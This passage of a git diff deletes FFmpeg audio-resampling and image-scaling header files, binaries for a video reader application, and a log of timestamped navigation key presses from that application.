av_opt_set_dict() - * - * @param[in,out] s Swr context to initialize - * @return AVERROR error code in case of failure. - */ -int swr_init(struct SwrContext *s); - -/** - * Check whether an swr context has been initialized or not. - * - * @param[in] s Swr context to check - * @see swr_init() - * @return positive if it has been initialized, 0 if not initialized - */ -int swr_is_initialized(struct SwrContext *s); - -/** - * Allocate SwrContext if needed and set/reset common parameters. - * - * This function does not require s to be allocated with swr_alloc(). On the - * other hand, swr_alloc() can use swr_alloc_set_opts() to set the parameters - * on the allocated context. - * - * @param s existing Swr context if available, or NULL if not - * @param out_ch_layout output channel layout (AV_CH_LAYOUT_*) - * @param out_sample_fmt output sample format (AV_SAMPLE_FMT_*). - * @param out_sample_rate output sample rate (frequency in Hz) - * @param in_ch_layout input channel layout (AV_CH_LAYOUT_*) - * @param in_sample_fmt input sample format (AV_SAMPLE_FMT_*). - * @param in_sample_rate input sample rate (frequency in Hz) - * @param log_offset logging level offset - * @param log_ctx parent logging context, can be NULL - * - * @see swr_init(), swr_free() - * @return NULL on error, allocated context otherwise - */ -struct SwrContext *swr_alloc_set_opts(struct SwrContext *s, - int64_t out_ch_layout, enum AVSampleFormat out_sample_fmt, int out_sample_rate, - int64_t in_ch_layout, enum AVSampleFormat in_sample_fmt, int in_sample_rate, - int log_offset, void *log_ctx); - -/** - * @} - * - * @name SwrContext destructor functions - * @{ - */ - -/** - * Free the given SwrContext and set the pointer to NULL. - * - * @param[in] s a pointer to a pointer to Swr context - */ -void swr_free(struct SwrContext **s); - -/** - * Closes the context so that swr_is_initialized() returns 0. - * - * The context can be brought back to life by running swr_init(), - * swr_init() can also be used without swr_close(). - * This function is mainly provided for simplifying the usecase - * where one tries to support libavresample and libswresample. - * - * @param[in,out] s Swr context to be closed - */ -void swr_close(struct SwrContext *s); - -/** - * @} - * - * @name Core conversion functions - * @{ - */ - -/** Convert audio. - * - * in and in_count can be set to 0 to flush the last few samples out at the - * end. - * - * If more input is provided than output space, then the input will be buffered. - * You can avoid this buffering by using swr_get_out_samples() to retrieve an - * upper bound on the required number of output samples for the given number of - * input samples. Conversion will run directly without copying whenever possible. - * - * @param s allocated Swr context, with parameters set - * @param out output buffers, only the first one need be set in case of packed audio - * @param out_count amount of space available for output in samples per channel - * @param in input buffers, only the first one need to be set in case of packed audio - * @param in_count number of input samples available in one channel - * - * @return number of samples output per channel, negative value on error - */ -int swr_convert(struct SwrContext *s, uint8_t **out, int out_count, - const uint8_t **in , int in_count); - -/** - * Convert the next timestamp from input to output - * timestamps are in 1/(in_sample_rate * out_sample_rate) units. - * - * @note There are 2 slightly differently behaving modes. - * @li When automatic timestamp compensation is not used, (min_compensation >= FLT_MAX) - * in this case timestamps will be passed through with delays compensated - * @li When automatic timestamp compensation is used, (min_compensation < FLT_MAX) - * in this case the output timestamps will match output sample numbers. - * See ffmpeg-resampler(1) for the two modes of compensation. - * - * @param s[in] initialized Swr context - * @param pts[in] timestamp for the next input sample, INT64_MIN if unknown - * @see swr_set_compensation(), swr_drop_output(), and swr_inject_silence() are - * function used internally for timestamp compensation. - * @return the output timestamp for the next output sample - */ -int64_t swr_next_pts(struct SwrContext *s, int64_t pts); - -/** - * @} - * - * @name Low-level option setting functions - * These functons provide a means to set low-level options that is not possible - * with the AVOption API. - * @{ - */ - -/** - * Activate resampling compensation ("soft" compensation). This function is - * internally called when needed in swr_next_pts(). - * - * @param[in,out] s allocated Swr context. If it is not initialized, - * or SWR_FLAG_RESAMPLE is not set, swr_init() is - * called with the flag set. - * @param[in] sample_delta delta in PTS per sample - * @param[in] compensation_distance number of samples to compensate for - * @return >= 0 on success, AVERROR error codes if: - * @li @c s is NULL, - * @li @c compensation_distance is less than 0, - * @li @c compensation_distance is 0 but sample_delta is not, - * @li compensation unsupported by resampler, or - * @li swr_init() fails when called. - */ -int swr_set_compensation(struct SwrContext *s, int sample_delta, int compensation_distance); - -/** - * Set a customized input channel mapping. - * - * @param[in,out] s allocated Swr context, not yet initialized - * @param[in] channel_map customized input channel mapping (array of channel - * indexes, -1 for a muted channel) - * @return >= 0 on success, or AVERROR error code in case of failure. - */ -int swr_set_channel_mapping(struct SwrContext *s, const int *channel_map); - -/** - * Set a customized remix matrix. - * - * @param s allocated Swr context, not yet initialized - * @param matrix remix coefficients; matrix[i + stride * o] is - * the weight of input channel i in output channel o - * @param stride offset between lines of the matrix - * @return >= 0 on success, or AVERROR error code in case of failure. - */ -int swr_set_matrix(struct SwrContext *s, const double *matrix, int stride); - -/** - * @} - * - * @name Sample handling functions - * @{ - */ - -/** - * Drops the specified number of output samples. - * - * This function, along with swr_inject_silence(), is called by swr_next_pts() - * if needed for "hard" compensation. - * - * @param s allocated Swr context - * @param count number of samples to be dropped - * - * @return >= 0 on success, or a negative AVERROR code on failure - */ -int swr_drop_output(struct SwrContext *s, int count); - -/** - * Injects the specified number of silence samples. - * - * This function, along with swr_drop_output(), is called by swr_next_pts() - * if needed for "hard" compensation. - * - * @param s allocated Swr context - * @param count number of samples to be dropped - * - * @return >= 0 on success, or a negative AVERROR code on failure - */ -int swr_inject_silence(struct SwrContext *s, int count); - -/** - * Gets the delay the next input sample will experience relative to the next output sample. - * - * Swresample can buffer data if more input has been provided than available - * output space, also converting between sample rates needs a delay. - * This function returns the sum of all such delays. - * The exact delay is not necessarily an integer value in either input or - * output sample rate. Especially when downsampling by a large value, the - * output sample rate may be a poor choice to represent the delay, similarly - * for upsampling and the input sample rate. - * - * @param s swr context - * @param base timebase in which the returned delay will be: - * @li if it's set to 1 the returned delay is in seconds - * @li if it's set to 1000 the returned delay is in milliseconds - * @li if it's set to the input sample rate then the returned - * delay is in input samples - * @li if it's set to the output sample rate then the returned - * delay is in output samples - * @li if it's the least common multiple of in_sample_rate and - * out_sample_rate then an exact rounding-free delay will be - * returned - * @returns the delay in 1 / @c base units. - */ -int64_t swr_get_delay(struct SwrContext *s, int64_t base); - -/** - * Find an upper bound on the number of samples that the next swr_convert - * call will output, if called with in_samples of input samples. This - * depends on the internal state, and anything changing the internal state - * (like further swr_convert() calls) will may change the number of samples - * swr_get_out_samples() returns for the same number of input samples. - * - * @param in_samples number of input samples. - * @note any call to swr_inject_silence(), swr_convert(), swr_next_pts() - * or swr_set_compensation() invalidates this limit - * @note it is recommended to pass the correct available buffer size - * to all functions like swr_convert() even if swr_get_out_samples() - * indicates that less would be used. - * @returns an upper bound on the number of samples that the next swr_convert - * will output or a negative value to indicate an error - */ -int swr_get_out_samples(struct SwrContext *s, int in_samples); - -/** - * @} - * - * @name Configuration accessors - * @{ - */ - -/** - * Return the @ref LIBSWRESAMPLE_VERSION_INT constant. - * - * This is useful to check if the build-time libswresample has the same version - * as the run-time one. - * - * @returns the unsigned int-typed version - */ -unsigned swresample_version(void); - -/** - * Return the swr build-time configuration. - * - * @returns the build-time @c ./configure flags - */ -const char *swresample_configuration(void); - -/** - * Return the swr license. - * - * @returns the license of libswresample, determined at build-time - */ -const char *swresample_license(void); - -/** - * @} - * - * @name AVFrame based API - * @{ - */ - -/** - * Convert the samples in the input AVFrame and write them to the output AVFrame. - * - * Input and output AVFrames must have channel_layout, sample_rate and format set. - * - * If the output AVFrame does not have the data pointers allocated the nb_samples - * field will be set using av_frame_get_buffer() - * is called to allocate the frame. - * - * The output AVFrame can be NULL or have fewer allocated samples than required. - * In this case, any remaining samples not written to the output will be added - * to an internal FIFO buffer, to be returned at the next call to this function - * or to swr_convert(). - * - * If converting sample rate, there may be data remaining in the internal - * resampling delay buffer. swr_get_delay() tells the number of - * remaining samples. To get this data as output, call this function or - * swr_convert() with NULL input. - * - * If the SwrContext configuration does not match the output and - * input AVFrame settings the conversion does not take place and depending on - * which AVFrame is not matching AVERROR_OUTPUT_CHANGED, AVERROR_INPUT_CHANGED - * or the result of a bitwise-OR of them is returned. - * - * @see swr_delay() - * @see swr_convert() - * @see swr_get_delay() - * - * @param swr audio resample context - * @param output output AVFrame - * @param input input AVFrame - * @return 0 on success, AVERROR on failure or nonmatching - * configuration. - */ -int swr_convert_frame(SwrContext *swr, - AVFrame *output, const AVFrame *input); - -/** - * Configure or reconfigure the SwrContext using the information - * provided by the AVFrames. - * - * The original resampling context is reset even on failure. - * The function calls swr_close() internally if the context is open. - * - * @see swr_close(); - * - * @param swr audio resample context - * @param output output AVFrame - * @param input input AVFrame - * @return 0 on success, AVERROR on failure. - */ -int swr_config_frame(SwrContext *swr, const AVFrame *out, const AVFrame *in); - -/** - * @} - * @} - */ - -#endif /* SWRESAMPLE_SWRESAMPLE_H */ diff --git a/desktop_3230/FFmpeg/include/libswresample/version.h b/desktop_3230/FFmpeg/include/libswresample/version.h deleted file mode 100644 index 830f00e..0000000 --- a/desktop_3230/FFmpeg/include/libswresample/version.h +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Version macros. - * - * This file is part of libswresample - * - * libswresample is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * libswresample is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with libswresample; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef SWRESAMPLE_VERSION_H -#define SWRESAMPLE_VERSION_H - -/** - * @file - * Libswresample version macros - */ - -#include "libavutil/avutil.h" - -#define LIBSWRESAMPLE_VERSION_MAJOR 2 -#define LIBSWRESAMPLE_VERSION_MINOR 0 -#define LIBSWRESAMPLE_VERSION_MICRO 101 - -#define LIBSWRESAMPLE_VERSION_INT AV_VERSION_INT(LIBSWRESAMPLE_VERSION_MAJOR, \ - LIBSWRESAMPLE_VERSION_MINOR, \ - LIBSWRESAMPLE_VERSION_MICRO) -#define LIBSWRESAMPLE_VERSION AV_VERSION(LIBSWRESAMPLE_VERSION_MAJOR, \ - LIBSWRESAMPLE_VERSION_MINOR, \ - LIBSWRESAMPLE_VERSION_MICRO) -#define LIBSWRESAMPLE_BUILD LIBSWRESAMPLE_VERSION_INT - -#define LIBSWRESAMPLE_IDENT "SwR" AV_STRINGIFY(LIBSWRESAMPLE_VERSION) - -#endif /* SWRESAMPLE_VERSION_H */ diff --git a/desktop_3230/FFmpeg/include/libswscale/swscale.h b/desktop_3230/FFmpeg/include/libswscale/swscale.h deleted file mode 100644 index da9dd2e..0000000 --- a/desktop_3230/FFmpeg/include/libswscale/swscale.h +++ /dev/null @@ -1,350 +0,0 @@ -/* - * Copyright (C) 2001-2011 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef SWSCALE_SWSCALE_H -#define SWSCALE_SWSCALE_H - -/** - * @file - * @ingroup libsws - * external API header - */ - -#include - -#include "libavutil/avutil.h" -#include "libavutil/log.h" -#include "libavutil/pixfmt.h" -#include "version.h" - -/** - * @defgroup libsws Color conversion and scaling - * @{ - * - * Return the LIBSWSCALE_VERSION_INT constant. - */ -unsigned swscale_version(void); - -/** - * Return the libswscale build-time configuration. - */ -const char *swscale_configuration(void); - -/** - * Return the libswscale license. - */ -const char *swscale_license(void); - -/* values for the flags, the stuff on the command line is different */ -#define SWS_FAST_BILINEAR 1 -#define SWS_BILINEAR 2 -#define SWS_BICUBIC 4 -#define SWS_X 8 -#define SWS_POINT 0x10 -#define SWS_AREA 0x20 -#define SWS_BICUBLIN 0x40 -#define SWS_GAUSS 0x80 -#define SWS_SINC 0x100 -#define SWS_LANCZOS 0x200 -#define SWS_SPLINE 0x400 - -#define SWS_SRC_V_CHR_DROP_MASK 0x30000 -#define SWS_SRC_V_CHR_DROP_SHIFT 16 - -#define SWS_PARAM_DEFAULT 123456 - -#define SWS_PRINT_INFO 0x1000 - -//the following 3 flags are not completely implemented -//internal chrominace subsampling info -#define SWS_FULL_CHR_H_INT 0x2000 -//input subsampling info -#define SWS_FULL_CHR_H_INP 0x4000 -#define SWS_DIRECT_BGR 0x8000 -#define SWS_ACCURATE_RND 0x40000 -#define SWS_BITEXACT 0x80000 -#define SWS_ERROR_DIFFUSION 0x800000 - -#define SWS_MAX_REDUCE_CUTOFF 0.002 - -#define SWS_CS_ITU709 1 -#define SWS_CS_FCC 4 -#define SWS_CS_ITU601 5 -#define SWS_CS_ITU624 5 -#define SWS_CS_SMPTE170M 5 -#define SWS_CS_SMPTE240M 7 -#define SWS_CS_DEFAULT 5 - -/** - * Return a pointer to yuv<->rgb coefficients for the given colorspace - * suitable for sws_setColorspaceDetails(). - * - * @param colorspace One of the SWS_CS_* macros. If invalid, - * SWS_CS_DEFAULT is used. - */ -const int *sws_getCoefficients(int colorspace); - -// when used for filters they must have an odd number of elements -// coeffs cannot be shared between vectors -typedef struct SwsVector { - double *coeff; ///< pointer to the list of coefficients - int length; ///< number of coefficients in the vector -} SwsVector; - -// vectors can be shared -typedef struct SwsFilter { - SwsVector *lumH; - SwsVector *lumV; - SwsVector *chrH; - SwsVector *chrV; -} SwsFilter; - -struct SwsContext; - -/** - * Return a positive value if pix_fmt is a supported input format, 0 - * otherwise. - */ -int sws_isSupportedInput(enum AVPixelFormat pix_fmt); - -/** - * Return a positive value if pix_fmt is a supported output format, 0 - * otherwise. - */ -int sws_isSupportedOutput(enum AVPixelFormat pix_fmt); - -/** - * @param[in] pix_fmt the pixel format - * @return a positive value if an endianness conversion for pix_fmt is - * supported, 0 otherwise. - */ -int sws_isSupportedEndiannessConversion(enum AVPixelFormat pix_fmt); - -/** - * Allocate an empty SwsContext. This must be filled and passed to - * sws_init_context(). For filling see AVOptions, options.c and - * sws_setColorspaceDetails(). - */ -struct SwsContext *sws_alloc_context(void); - -/** - * Initialize the swscaler context sws_context. - * - * @return zero or positive value on success, a negative value on - * error - */ -av_warn_unused_result -int sws_init_context(struct SwsContext *sws_context, SwsFilter *srcFilter, SwsFilter *dstFilter); - -/** - * Free the swscaler context swsContext. - * If swsContext is NULL, then does nothing. - */ -void sws_freeContext(struct SwsContext *swsContext); - -/** - * Allocate and return an SwsContext. You need it to perform - * scaling/conversion operations using sws_scale(). - * - * @param srcW the width of the source image - * @param srcH the height of the source image - * @param srcFormat the source image format - * @param dstW the width of the destination image - * @param dstH the height of the destination image - * @param dstFormat the destination image format - * @param flags specify which algorithm and options to use for rescaling - * @param param extra parameters to tune the used scaler - * For SWS_BICUBIC param[0] and [1] tune the shape of the basis - * function, param[0] tunes f(1) and param[1] f´(1) - * For SWS_GAUSS param[0] tunes the exponent and thus cutoff - * frequency - * For SWS_LANCZOS param[0] tunes the width of the window function - * @return a pointer to an allocated context, or NULL in case of error - * @note this function is to be removed after a saner alternative is - * written - */ -struct SwsContext *sws_getContext(int srcW, int srcH, enum AVPixelFormat srcFormat, - int dstW, int dstH, enum AVPixelFormat dstFormat, - int flags, SwsFilter *srcFilter, - SwsFilter *dstFilter, const double *param); - -/** - * Scale the image slice in srcSlice and put the resulting scaled - * slice in the image in dst. A slice is a sequence of consecutive - * rows in an image. - * - * Slices have to be provided in sequential order, either in - * top-bottom or bottom-top order. If slices are provided in - * non-sequential order the behavior of the function is undefined. - * - * @param c the scaling context previously created with - * sws_getContext() - * @param srcSlice the array containing the pointers to the planes of - * the source slice - * @param srcStride the array containing the strides for each plane of - * the source image - * @param srcSliceY the position in the source image of the slice to - * process, that is the number (counted starting from - * zero) in the image of the first row of the slice - * @param srcSliceH the height of the source slice, that is the number - * of rows in the slice - * @param dst the array containing the pointers to the planes of - * the destination image - * @param dstStride the array containing the strides for each plane of - * the destination image - * @return the height of the output slice - */ -int sws_scale(struct SwsContext *c, const uint8_t *const srcSlice[], - const int srcStride[], int srcSliceY, int srcSliceH, - uint8_t *const dst[], const int dstStride[]); - -/** - * @param dstRange flag indicating the while-black range of the output (1=jpeg / 0=mpeg) - * @param srcRange flag indicating the while-black range of the input (1=jpeg / 0=mpeg) - * @param table the yuv2rgb coefficients describing the output yuv space, normally ff_yuv2rgb_coeffs[x] - * @param inv_table the yuv2rgb coefficients describing the input yuv space, normally ff_yuv2rgb_coeffs[x] - * @param brightness 16.16 fixed point brightness correction - * @param contrast 16.16 fixed point contrast correction - * @param saturation 16.16 fixed point saturation correction - * @return -1 if not supported - */ -int sws_setColorspaceDetails(struct SwsContext *c, const int inv_table[4], - int srcRange, const int table[4], int dstRange, - int brightness, int contrast, int saturation); - -/** - * @return -1 if not supported - */ -int sws_getColorspaceDetails(struct SwsContext *c, int **inv_table, - int *srcRange, int **table, int *dstRange, - int *brightness, int *contrast, int *saturation); - -/** - * Allocate and return an uninitialized vector with length coefficients. - */ -SwsVector *sws_allocVec(int length); - -/** - * Return a normalized Gaussian curve used to filter stuff - * quality = 3 is high quality, lower is lower quality. - */ -SwsVector *sws_getGaussianVec(double variance, double quality); - -/** - * Allocate and return a vector with length coefficients, all - * with the same value c. - */ -SwsVector *sws_getConstVec(double c, int length); - -/** - * Allocate and return a vector with just one coefficient, with - * value 1.0. - */ -SwsVector *sws_getIdentityVec(void); - -/** - * Scale all the coefficients of a by the scalar value. - */ -void sws_scaleVec(SwsVector *a, double scalar); - -/** - * Scale all the coefficients of a so that their sum equals height. - */ -void sws_normalizeVec(SwsVector *a, double height); -void sws_convVec(SwsVector *a, SwsVector *b); -void sws_addVec(SwsVector *a, SwsVector *b); -void sws_subVec(SwsVector *a, SwsVector *b); -void sws_shiftVec(SwsVector *a, int shift); - -/** - * Allocate and return a clone of the vector a, that is a vector - * with the same coefficients as a. - */ -SwsVector *sws_cloneVec(SwsVector *a); - -/** - * Print with av_log() a textual representation of the vector a - * if log_level <= av_log_level. - */ -void sws_printVec2(SwsVector *a, AVClass *log_ctx, int log_level); - -void sws_freeVec(SwsVector *a); - -SwsFilter *sws_getDefaultFilter(float lumaGBlur, float chromaGBlur, - float lumaSharpen, float chromaSharpen, - float chromaHShift, float chromaVShift, - int verbose); -void sws_freeFilter(SwsFilter *filter); - -/** - * Check if context can be reused, otherwise reallocate a new one. - * - * If context is NULL, just calls sws_getContext() to get a new - * context. Otherwise, checks if the parameters are the ones already - * saved in context. If that is the case, returns the current - * context. Otherwise, frees context and gets a new context with - * the new parameters. - * - * Be warned that srcFilter and dstFilter are not checked, they - * are assumed to remain the same. - */ -struct SwsContext *sws_getCachedContext(struct SwsContext *context, - int srcW, int srcH, enum AVPixelFormat srcFormat, - int dstW, int dstH, enum AVPixelFormat dstFormat, - int flags, SwsFilter *srcFilter, - SwsFilter *dstFilter, const double *param); - -/** - * Convert an 8-bit paletted frame into a frame with a color depth of 32 bits. - * - * The output frame will have the same packed format as the palette. - * - * @param src source frame buffer - * @param dst destination frame buffer - * @param num_pixels number of pixels to convert - * @param palette array with [256] entries, which must match color arrangement (RGB or BGR) of src - */ -void sws_convertPalette8ToPacked32(const uint8_t *src, uint8_t *dst, int num_pixels, const uint8_t *palette); - -/** - * Convert an 8-bit paletted frame into a frame with a color depth of 24 bits. - * - * With the palette format "ABCD", the destination frame ends up with the format "ABC". - * - * @param src source frame buffer - * @param dst destination frame buffer - * @param num_pixels number of pixels to convert - * @param palette array with [256] entries, which must match color arrangement (RGB or BGR) of src - */ -void sws_convertPalette8ToPacked24(const uint8_t *src, uint8_t *dst, int num_pixels, const uint8_t *palette); - -/** - * Get the AVClass for swsContext. It can be used in combination with - * AV_OPT_SEARCH_FAKE_OBJ for examining options. - * - * @see av_opt_find(). - */ -const AVClass *sws_get_class(void); - -/** - * @} - */ - -#endif /* SWSCALE_SWSCALE_H */ diff --git a/desktop_3230/FFmpeg/include/libswscale/version.h b/desktop_3230/FFmpeg/include/libswscale/version.h deleted file mode 100644 index 24908b8..0000000 --- a/desktop_3230/FFmpeg/include/libswscale/version.h +++ /dev/null @@ -1,49 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef SWSCALE_VERSION_H -#define SWSCALE_VERSION_H - -/** - * @file - * swscale version macros - */ - -#include "libavutil/version.h" - -#define LIBSWSCALE_VERSION_MAJOR 4 -#define LIBSWSCALE_VERSION_MINOR 0 -#define LIBSWSCALE_VERSION_MICRO 100 - -#define LIBSWSCALE_VERSION_INT AV_VERSION_INT(LIBSWSCALE_VERSION_MAJOR, \ - LIBSWSCALE_VERSION_MINOR, \ - LIBSWSCALE_VERSION_MICRO) -#define LIBSWSCALE_VERSION AV_VERSION(LIBSWSCALE_VERSION_MAJOR, \ - LIBSWSCALE_VERSION_MINOR, \ - LIBSWSCALE_VERSION_MICRO) -#define LIBSWSCALE_BUILD LIBSWSCALE_VERSION_INT - -#define LIBSWSCALE_IDENT "SwS" AV_STRINGIFY(LIBSWSCALE_VERSION) - -/** - * FF_API_* defines may be placed below to indicate public API that will be - * dropped at a future version bump. The defines themselves are not part of - * the public API and may change, break or disappear at any time. - */ - -#endif /* SWSCALE_VERSION_H */ diff --git a/desktop_3230/MessagingToolkit.QRCode.dll b/desktop_3230/MessagingToolkit.QRCode.dll deleted file mode 100644 index da614b6..0000000 Binary files a/desktop_3230/MessagingToolkit.QRCode.dll and /dev/null differ diff --git a/desktop_3230/VideoReader.exe b/desktop_3230/VideoReader.exe deleted file mode 100644 index 7770859..0000000 Binary files a/desktop_3230/VideoReader.exe and /dev/null differ diff --git a/desktop_3230/help.html b/desktop_3230/help.html deleted file mode 100644 index 5c57ebf..0000000 --- a/desktop_3230/help.html +++ /dev/null @@ -1,7 +0,0 @@ - - - - -

- - \ No newline at end of file diff --git a/desktop_3230/keys.log b/desktop_3230/keys.log deleted file mode 100644 index 3c04f4d..0000000 --- a/desktop_3230/keys.log +++ /dev/null @@ -1,3147 +0,0 @@ -11:37:33.4347391: -----======= START =======----- -11:44:15.9894980: -----======= START =======----- -11:44:52.7259780: -----======= START =======----- -11:58:03.5879804: -----======= START =======----- -11:59:25.2772201:82575,4479:1961:Return:Return:13:False:False:False -11:59:27.7960206:2518,8005:1961:Left:Left:37:False:False:False -11:59:28.0234111:227,3905:1960:Left:Left:37:False:False:False -11:59:28.2649939:241,5828:1959:Left:Left:37:False:False:False -11:59:28.4735151:208,5212:1958:Left:Left:37:False:False:False -11:59:28.6081210:133,6106:1957:Left:Left:37:False:False:False -11:59:28.8111069:202,9859:1956:Left:Left:37:False:False:False -11:59:28.9683717:157,2648:1955:Left:Left:37:False:False:False -11:59:29.1254449:157,0732:1954:Left:Left:37:False:False:False -11:59:29.2949347:169,4898:1953:Left:Left:37:False:False:False -11:59:29.4633507:168,416:1952:Left:Left:37:False:False:False -11:59:29.6119234:148,5727:1951:Left:Left:37:False:False:False -11:59:29.8494754:227,8682:1950:Left:Left:37:False:False:False -11:59:30.0244391:174,9637:1949:Left:Left:37:False:False:False -11:59:30.1844675:160,0284:1948:Left:Left:37:False:False:False -11:59:30.3632416:178,7741:1947:Left:Left:37:False:False:False -11:59:30.5293506:166,109:1946:Left:Left:37:False:False:False -11:59:30.6870166:157,666:1945:Left:Left:37:False:False:False -11:59:30.8408434:153,8268:1944:Left:Left:37:False:False:False -11:59:30.9902801:149,4367:1943:Left:Left:37:False:False:False -11:59:31.1365015:146,2214:1942:Left:Left:37:False:False:False -11:59:31.2858679:149,3664:1941:Left:Left:37:False:False:False -11:59:31.5332020:247,3341:1940:Left:Left:37:False:False:False -11:59:31.7250205:191,8185:1939:Left:Left:37:False:False:False -11:59:31.9320013:206,9808:1938:Left:Left:37:False:False:False -11:59:32.1185850:186,5837:1937:Left:Left:37:False:False:False -11:59:32.3210413:202,4563:1936:Left:Left:37:False:False:False -11:59:32.6591224:338,0811:1935:Right:Right:39:False:False:False -11:59:32.8382859:179,1635:1936:Right:Right:39:False:False:False -11:59:33.0185451:180,2592:1937:Right:Right:39:False:False:False -11:59:33.1758797:157,3346:1938:Right:Right:39:False:False:False -11:59:33.3551898:179,3101:1939:Right:Right:39:False:False:False -11:59:33.5276768:171,4245:1940:Right:Right:39:False:False:False -11:59:33.7379881:210,3113:1941:Right:Right:39:False:False:False -11:59:34.8411363:1103,1482:1942:Right:Right:39:False:False:False -11:59:35.8309222:989,7859:1943:Right:Right:39:False:False:False -11:59:36.9080174:1077,0952:1944:Right:Right:39:False:False:False -11:59:37.8786482:970,6308:1945:Right:Right:39:False:False:False -11:59:38.3066059:427,9577:1946:Right:Right:39:False:False:False -11:59:38.5534567:246,8508:1947:Right:Right:39:False:False:False -11:59:38.7524371:197,948:1948:Right:Right:39:False:False:False -11:59:38.9904650:238,0279:1949:Right:Right:39:False:False:False -11:59:39.2473507:256,8857:1950:Right:Right:39:False:False:False -11:59:39.4539148:206,5641:1951:Right:Right:39:False:False:False -11:59:39.6336212:179,7064:1952:Right:Right:39:False:False:False -11:59:39.8587541:225,1329:1953:Right:Right:39:False:False:False -11:59:40.3549209:495,1229:1954:Right:Right:39:False:False:False -11:59:40.6238826:268,9617:1955:Right:Right:39:False:False:False -11:59:40.8711630:247,2804:1956:Right:Right:39:False:False:False -11:59:41.0512002:180,0372:1957:Right:Right:39:False:False:False -11:59:41.3887916:336,5595:1958:Right:Right:39:False:False:False -11:59:41.6592538:270,4622:1959:Right:Right:39:False:False:False -11:59:42.0409024:381,6486:1960:Right:Right:39:False:False:False -11:59:42.6488232:607,9208:1961:Right:Right:39:False:False:False -11:59:42.8734343:223,5704:1962:Right:Right:39:False:False:False -11:59:43.0490137:175,5794:1963:Right:Right:39:False:False:False -11:59:43.2128658:163,8521:1964:Right:Right:39:False:False:False -11:59:43.4139188:201,053:1965:Right:Right:39:False:False:False -11:59:43.6239659:210,0471:1966:Right:Right:39:False:False:False -11:59:43.7818001:157,8342:1967:Right:Right:39:False:False:False -11:59:43.9982611:216,461:1968:Right:Right:39:False:False:False -11:59:44.1949601:196,699:1969:Right:Right:39:False:False:False -11:59:44.3811240:186,1639:1970:Right:Right:39:False:False:False -11:59:44.5385359:157,4119:1971:Right:Right:39:False:False:False -11:59:44.7291581:190,6222:1972:Right:Right:39:False:False:False -11:59:44.9209739:191,8158:1973:Right:Right:39:False:False:False -11:59:45.1010877:180,1138:1974:Right:Right:39:False:False:False -11:59:45.3033821:202,2944:1975:Right:Right:39:False:False:False -11:59:45.5123690:208,9869:1976:Right:Right:39:False:False:False -11:59:45.7314390:219,07:1977:Right:Right:39:False:False:False -11:59:45.9665428:235,1038:1978:Right:Right:39:False:False:False -11:59:46.1757560:209,2132:1979:Right:Right:39:False:False:False -11:59:46.4099402:234,1842:1980:Right:Right:39:False:False:False -11:59:46.6086527:198,7125:1981:Right:Right:39:False:False:False -11:59:46.8944842:285,8315:1982:Right:Right:39:False:False:False -11:59:47.5316178:637,1336:1983:Right:Right:39:False:False:False -11:59:47.7340239:201,4049:1984:Right:Right:39:False:False:False -11:59:48.1837893:449,7654:1985:Right:Right:39:False:False:False -11:59:48.3863338:201,5517:1986:Right:Right:39:False:False:False -11:59:48.5656046:179,2708:1987:Right:Right:39:False:False:False -11:59:48.7234902:156,8857:1988:Right:Right:39:False:False:False -11:59:49.0380655:315,5348:1989:Right:Right:39:False:False:False -11:59:49.1755865:136,5615:1990:Right:Right:39:False:False:False -11:59:49.4211556:245,5691:1991:Right:Right:39:False:False:False -11:59:49.6926193:270,4108:1992:Right:Right:39:False:False:False -11:59:49.8625626:169,9433:1993:Right:Right:39:False:False:False -11:59:50.0654527:202,8901:1994:Right:Right:39:False:False:False -11:59:50.9511950:885,7423:1995:Right:Right:39:False:False:False -11:59:51.4016737:450,4787:1996:Right:Right:39:False:False:False -11:59:51.7165791:314,9054:1997:Right:Right:39:False:False:False -11:59:52.0766816:360,1025:1998:Right:Right:39:False:False:False -12:00:00.1315763:8054,8947:1999:Return:Return:13:False:False:False -12:00:04.2940822:4162,5059:2979:Return:Return:13:False:False:False -12:00:05.9369307:1642,8485:2988:Space:Space:32:False:False:False -12:00:06.9713315:1034,4008:2988:Return:Return:13:False:False:False -12:00:07.7367443:765,4128:2988:Right:Right:39:False:False:False -12:00:07.9394332:201,6613:2988:Right:Right:39:False:False:False -12:00:08.0742045:133,7771:2988:Right:Right:39:False:False:False -12:00:08.1995791:125,3746:2988:Right:Right:39:False:False:False -12:00:08.3608886:161,3095:2988:Right:Right:39:False:False:False -12:00:08.5013689:140,4803:2988:Right:Right:39:False:False:False -12:00:08.6815615:179,1982:2988:Up:Up:38:False:False:False -12:00:08.8333172:151,7557:2988:Up:Up:38:False:False:False -12:00:08.9739769:140,6597:2988:Up:Up:38:False:False:False -12:00:09.1316180:157,6411:2988:Up:Up:38:False:False:False -12:00:46.0804818:36948,8638:627:Return:Return:13:False:False:False -12:00:50.3997883:4319,3065:627:Right:Right:39:False:False:False 